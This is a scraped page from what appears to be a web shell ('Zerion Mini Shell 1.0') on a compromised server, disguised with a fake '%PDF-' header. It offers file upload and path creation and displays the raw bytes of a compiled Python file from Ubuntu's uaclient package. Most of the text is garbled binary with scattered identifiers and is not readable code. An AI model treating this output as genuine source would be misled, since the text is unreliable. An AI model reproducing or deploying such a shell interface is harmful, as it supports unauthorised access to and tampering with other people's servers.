%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/uaclient/files/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/uaclient/files/__pycache__/state_files.cpython-312.pyc

�

�Hcf����ddlZddlmZmZmZmZddlmZddlm	Z	m
Z
mZmZm
Z
mZmZddlmZmZddlmZmZmZdZGd�d	e
�Zd
eeefdeeeffd�Zeeeed
��e��ZGd�de
�Zeeedd��ej:�ZGd�de
�Zeeedd��ej:�Z Gd�de
�Z!Gd�de
�Z"ee"edd
��ej:�Z#edejH��Z%edd
ejH� �Z&Gd!�d"e
�Z'ee'ed#�ej:�$�Z(ed%�Z)Gd&�d'e
�Z*ee*ed(ejVd��ej:�Z,Gd)�d*e
�Z-ee-ed+d
��ej:�Z.eed,d
���-�Z/ed.ejVd��Z0d/�Z1y)0�N)�Any�Dict�List�Optional)�defaults)�
BoolDataValue�
DataObject�DatetimeDataValue�Field�IntDataValue�StringDataValue�	data_list)�DataObjectFile�DataObjectFileFormat)�ProJSONFile�UAFile�
UserCacheFilezservices-once-enabledc�.�eZdZeded�gZdefd�Zy)�ServicesOnceEnabledData�fips_updatesFc��||_y�N)r)�selfrs  �</usr/lib/python3/dist-packages/uaclient/files/state_files.py�__init__z ServicesOnceEnabledData.__init__s
��(���N)�__name__�
__module__�__qualname__rr�fields�boolr�rrrrs!��
�n�m�U�3��F�)�T�)rr�data�returnc�r�i}|j�D]!}d|vrd||jdd�<�d||<�#|S)N�-T�_)�keys�replace)r#�updated_data�keys   r�%_services_once_enable_preprocess_datar,sL���L��y�y�{�%���#�:�26�L����S�#�.�/� $�L���	%��rF)�name�private)�data_object_cls�ua_file�preprocess_datac�z�eZdZedee�d�edee�d�gZ		ddeee	deee	fd�Z
y)�RetryAutoAttachOptions�enableF�enable_betaNc� �||_||_yr)r4r5)rr4r5s   rrzRetryAutoAttachOptions.__init__=s��
���&��r)NN)rrrrrr
r rr�strrr"rrr3r37s\��
�h�	�/�2�E�:�
�m�Y��7��?��F�'+�+/�'���c��#�'��d�3�i�(�'rr3zretry-auto-attach-options.jsonT)r.c�J�eZdZede�eded��gZdedee	fd�Z
y)�RetryAutoAttachState�interval_index�failure_reasonF��requiredc� �||_||_yr)r:r;)rr:r;s   rrzRetryAutoAttachState.__init__Vs��
-���,��rN)rrrrrr
r �intrr7rr"rrr9r9Ps<��
���-�
���%�@��F�
-��-�!��
�-rr9zretry-auto-attach-state.jsonc�6�eZdZede�ede�gZd�Zy)�
TimerJobState�next_run�last_runc� �||_||_yr)rBrC)rrBrCs   rrzTimerJobState.__init__ls�� ��
� ��
rN)rrrrr
r rr"rrrArAfs$��
�j�+�,�
�j�+�,��F�
!rrAc�r�eZdZeded��eded��eded��gZdeedeedeefd�Zy)�AllTimerJobsState�meteringFr<�update_messaging�update_contract_infoc�.�||_||_||_yr)rGrHrI)rrGrHrIs    rrzAllTimerJobsState.__init__xs��!��
� 0���$8��!rN)rrrrrAr rrr"rrrFrFqs_��
�j�-�%�8�
� �-�%�@�
�$�m�e�D��F�9��=�)�9�#�=�1�9�'�}�5�	9rrFzjobs-status.jsonzapt-news)�	directoryzapt-news-raw)r.rKc��eZdZede�ede�ede�ede�eded��ede�gZdedededede	e
dejfd	�Zy
)�LivepatchSupportCacheData�version�flavor�arch�codename�	supportedFr<�	cached_atc�X�||_||_||_||_||_||_yr)rNrOrPrQrRrS)rrNrOrPrQrRrSs       rrz"LivepatchSupportCacheData.__init__�s.����������	� ��
�"���"��rN)
rrrrr
rr
r r7rr!�datetimerr"rrrMrM�s���
�i��)�
�h��(�
�f�o�&�
�j�/�*�
�k�=�5�9�
�k�,�-�
�F�#��#��#��	#�
�#��D�>�
#��$�$�#rrMz#livepatch-kernel-support-cache.json)�file_formatzmarker-reboot-cmds-requiredc�h�eZdZede�ede�ede�ede�gZdedededefd�Zy)�AnboxCloudData�anbox_images_url�anbox_images_resource_token�anbox_cloud_apt_token�anbox_cloud_apt_urlc�<�||_||_||_||_yr)rYrZr[r\)rrYrZr[r\s     rrzAnboxCloudData.__init__�s$��!1���+F��(�%:��"�#6�� rN)rrrrr
r r7rr"rrrXrX�s`��
� �/�2�
�+�_�=�
�%��7�
�#�_�5�	�F�
7��
7�&)�
7� #�	
7�
!�
7rrXzanbox-cloud-credentialsc�@�eZdZede�gZdejfd�Zy)�AttachmentData�attached_atc��||_yr)r`)rr`s  rrzAttachmentData.__init__�s
��&��rN)rrrrr
r rUrr"rrr_r_�s&��
�m�.�/��F�'�H�$5�$5�'rr_zattachment.jsonzstatus.json)�pro_filez
machine-idc���tj�tj�tj�tj�t
j�tj�yr)�machine_id_file�delete�status_cache_file�attachment_data_file�anbox_cloud_credentials_file�reboot_cmd_marker_filer"rr�delete_state_filesrj�sJ�������������!� �'�'�)��!�!�#����r)2rU�typingrrrr�uaclientr�uaclient.data_typesrr	r
rrr
r�uaclient.files.data_typesrr�uaclient.files.filesrrr�SERVICES_ONCE_ENABLEDrr7r,�services_once_enabled_filer3�JSON�retry_auto_attach_options_filer9�retry_auto_attach_state_filerArF�timer_jobs_state_file�MESSAGES_DIR�apt_news_contents_file�apt_news_raw_filerM�livepatch_support_cacherirX�DEFAULT_PRIVATE_DATA_DIRrhr_rgrfrdrjr"rr�<module>r{s9���,�,�����K�C�C�/��)�j�)�
�
�s�C�x�.�
�	�#�s�(�^�
� ,�+��
"��
�:�
��'�Z�'�"0��
�(������
"��-�:�-� .��
�)�4�8���� ��!�J�!�9�
�9�$'��
��u�-������ �
�h�6K�6K�L����E�X�-B�-B���
#�
�#�6)���7�8�$�)�)��� � =�>��7�Z�7�* .��
�!��)�)���
��� ��'�Z�'�&��
��e�,������ �
�
��������%�%����r

Zerion Mini Shell 1.0